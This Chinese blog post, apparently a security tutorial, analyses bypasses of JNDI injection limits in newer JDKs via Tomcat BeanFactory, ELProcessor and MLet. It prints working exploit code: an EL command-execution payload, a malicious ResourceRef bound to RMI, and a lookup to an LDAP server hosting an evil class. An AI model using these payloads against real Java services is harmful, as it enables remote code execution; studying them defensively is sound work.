JNDI绕过高版本注入限制那些事

2024-12-06 58 0

JNDI高版本注入可以说是java安全大集合了。涉及了许多框架漏洞的组合使用,当分析完JNDI高版本时,我认为也算是正式入门JAVA安全了

jndi注入第一需要在影响版本内,第二需要出网

jdk8<8u191之前,ldap都能打,且不需要其他依赖库。8u191<jdk<8u241,能打JRMP

高版本也能绕过打JNDI:

https://www.cnblogs.com/bitterz/p/15946406.html#211-javaxelelprocessoreval

回想之前的修复方式,都是把trustURLCodebase置为了false,虽然没办法加载远程恶意类了,不过可以通过加载服务器的本地类构造恶意代码

jndi回顾

JNDI demo(yakit or marshelsec生成恶意类)

publicclassJNDIRMIClient{
publicstaticvoidmain(String[] args) throwsException{
InitialContextinitialContext=newInitialContext();
RemoteInterfaceremoteObject=(RemoteInterface) initialContext.lookup("ldap://172.21.240.1:8599/RuntimeEvil");//yakit
remoteObject.sayHello("JNDI");
}
}

低版本(<8u191)jndi ldap中,跟进到DirectoryManager.getObjectInstance:

  • 用getObjectFactoryFromRefrence从远端refrence获取类工厂,并实例化类工厂(我们绑定的恶意类工厂,这一步就完成了RCE)

  • getObjectInstance从类工厂加载类并实例化

JNDI绕过高版本注入限制那些事插图

跟进到NamingManager.getObjectFactoryFromRefrence,发现从Reference加载类的过程如下:

  • 先双亲委派从本地加载类

  • 如果本地加载不到,从codebase加载

JNDI绕过高版本注入限制那些事插图1

  1. helper.loadClass(factory) -> VersionHelper12.loadClass,用系统类加载器加载类,走双亲委派从本地加载

JNDI绕过高版本注入限制那些事插图2

  1. 从codebase加载类

  • jdk<191,VersionHelper12从codebase加载如下,用URLClassLoader获取远端类工厂,没有任何过滤

JNDI绕过高版本注入限制那些事插图3

获取后Class.forName初始化

JNDI绕过高版本注入限制那些事插图4

初始化类后直接newInstance实例化,并转为ObjectFactory

JNDI绕过高版本注入限制那些事插图5

  • jdk>=191,VersionHelper12 trustURLCodebase==true才从远端加载类工厂

JNDI绕过高版本注入限制那些事插图6

不能从远端加载类工厂了,那我们换个思路

从本地加载类工厂,然后找getObjectInstance进行下一步利用

既然要找个能用的类工厂,该类必须满足实现ObjectFactory接口,才能顺利强转

JNDI绕过高版本注入限制那些事插图7

Tomcat 8

导入使用Tomcat类:

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.56</version>
</dependency>

beanFactory

Tomcat8下,org.apache.naming.factory.BeanFactory存在利用点

BeanFactory.getObjectInstance很长,大致流程如下:

不是ResourceRef子类直接退出

JNDI绕过高版本注入限制那些事插图8

  • 加载类并实例化

JNDI绕过高版本注入限制那些事插图9

  • 从ref对象中获取名为forceString的对象,并将其转化为字符串value

  • 将value按逗号分割成多个参数,每个参数形如name=method的键值对

  • 如果参数包含等号,则将其按等号分为参数名和方法名,=前面为参数,=后面为方法名;如果参数不包含等号,则生成默认的setter方法(首字母大写加set前缀)

  • 使用反射获取对应的方法,参数类型为String

很明显,能获取参数个数为1,参数类型为String的任意方法

JNDI绕过高版本注入限制那些事插图10

  • 遍历每个属性,跳过特定的属性(scope,auth,forceString,singleton),如果找到setter方法,则调用此方法设置属性值

JNDI绕过高版本注入限制那些事插图11

找遍全文,发现这个函数完全没有用第二个参数name,也就是我们传入的reference第一个参数(需要加载的类名),好神金(估计只是为了满足重写getObjectInstance

JNDI绕过高版本注入限制那些事插图12

构造一个恶意ResourceRef类,通过forceString参数,能调用任意对象的方法

类需要有无参构造函数,被利用方法需满足参数个数为1,参数类型为String

哪个方法满足要求,且能达到RCE呢?

javax.el.ELProcessor#eval

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.56</version><!-- 使用与你的Tomcat版本相匹配的版本 -->
</dependency>

众所周知,Tomcat自带的类ELProcessor可以进行EL表达式注入

JNDI绕过高版本注入限制那些事插图13

表达式注入的入口即javax.el.ELProcessor#eval,参数正好满足个数为1,类型为String

EL表达式依赖:

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.56</version><!--使用与你的Tomcat版本相匹配的版本-->
</dependency>

EL表达式Payload:

ELProcessorelProcessor=newjavax.el.ELProcessor();
elProcessor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','calc']).start()\")");

ResourceRef接收的第一个参数即类名,应该传ELProcesser。但是构造函数并没有看见能传forceString的地方,但注意到都是通过Reference.add添加属性

JNDI绕过高版本注入限制那些事插图14

我们依葫芦画瓢也调用Reference.add添加forceString。这里ResourceRef是Reference的子类

ResourceRefref=newResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(newStringRefAddr("forceString", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval"));

ResourceRef作为Reference子类,可以直接进行JNDI绑定

我们直接试试呢?

publicstaticvoidmain(String[] args) throwsException{
LocateRegistry.createRegistry(1099);
Hashtable<String, String>env=newHashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
ResourceRefref=newResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(newStringRefAddr("forceString", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval"));
InitialContextcontext=newInitialContext(env);
context.bind("remoteImpl", ref);
}

发现并没有执行

调试跟进到BeanFactory.getObjectInstance,发现在invoke之前,由于propName为forceString,跳过了本次循环。

JNDI绕过高版本注入限制那些事插图15

我们先用forceString把setterName设置为eval,属性名设置为x,并put进forced

JNDI绕过高版本注入限制那些事插图16

然后注意循环是在所有Entry循环

JNDI绕过高版本注入限制那些事插图17

第二次在forced根据属性名取方法,也就是eval方法,参数为第二个Entry的Value

JNDI绕过高版本注入限制那些事插图18

所以先传一个("forceString","x=eval"),再传一个("x","payload")即可RCE

publicclassjndi_highVersion_Tomcat{
publicstaticvoidmain(String[] args) throwsException{
LocateRegistry.createRegistry(1099);
Hashtable<String, String>env=newHashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
ResourceRefref=newResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(newStringRefAddr("forceString", "x=eval"));
ref.add(newStringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")"));
//       ref.add(new StringRefAddr("forceString", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval"));
InitialContextcontext=newInitialContext(env);
context.bind("remoteImpl", ref);
}
}

JNDI绕过高版本注入限制那些事插图19

攻击过程:

执行lookup->实例化factoryLocation路径下factory->调用factory的getObjectInstance->BeanFactory.getObjectInstance->根据forceString解析方法名和占位参数->填充真参数invoke反射调用ELProcessor.eval

不仅ELProcessor能利用,还有很多其他类

浅蓝师傅给出了许多满足BeanFactory调用要求(类有无参构造方法,代码执行方法参数个数为1,参数类型为String,可以后续利用)的类,尽管有一些并不能达到RCE,但仍有利用价值

https://tttang.com/archive/1405/

MLet

MLet.addURL+URLClassLoader.loadClass

jdk自带的javax.management.loading.MLet,addURL方法参数满足要求

JNDI绕过高版本注入限制那些事插图20

调用了URLClossLoader.addURL

JNDI绕过高版本注入限制那些事插图21

MLet继承URLClassLoader,也能用URLClassLoader.loadClass

只可惜loadClass无法触发静态代码块,也无法RCE

虽然无法RCE,但可以用来进行gadget探测。例如在不知道当前Classpath存在哪些可用的gadget时,就可以通过MLet进行第一次类加载,如果类加载成功就不会影响后面访问远程类。

探测ELProcessor和是否可外联:

publicstaticvoidmain(String[] args) throwsException{
LocateRegistry.createRegistr

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

Matildapp:针对Web 3.0环境的网络安全与渗透测试框架
Jumpserver_decrypto: 解密 Jumpserver ssh配置的开源工具
向日葵远程控制软件远程代码执行漏洞复现(CNVD-2022-10270, CNVD-2022-03672)
Kafka UI三大RCE高危漏洞分析
PbootCMS V3.2.9前台SQL注入漏洞(上)
修复秘籍:如何有效应对CVE-2024-20767和CVE-2024-21216漏洞

发布评论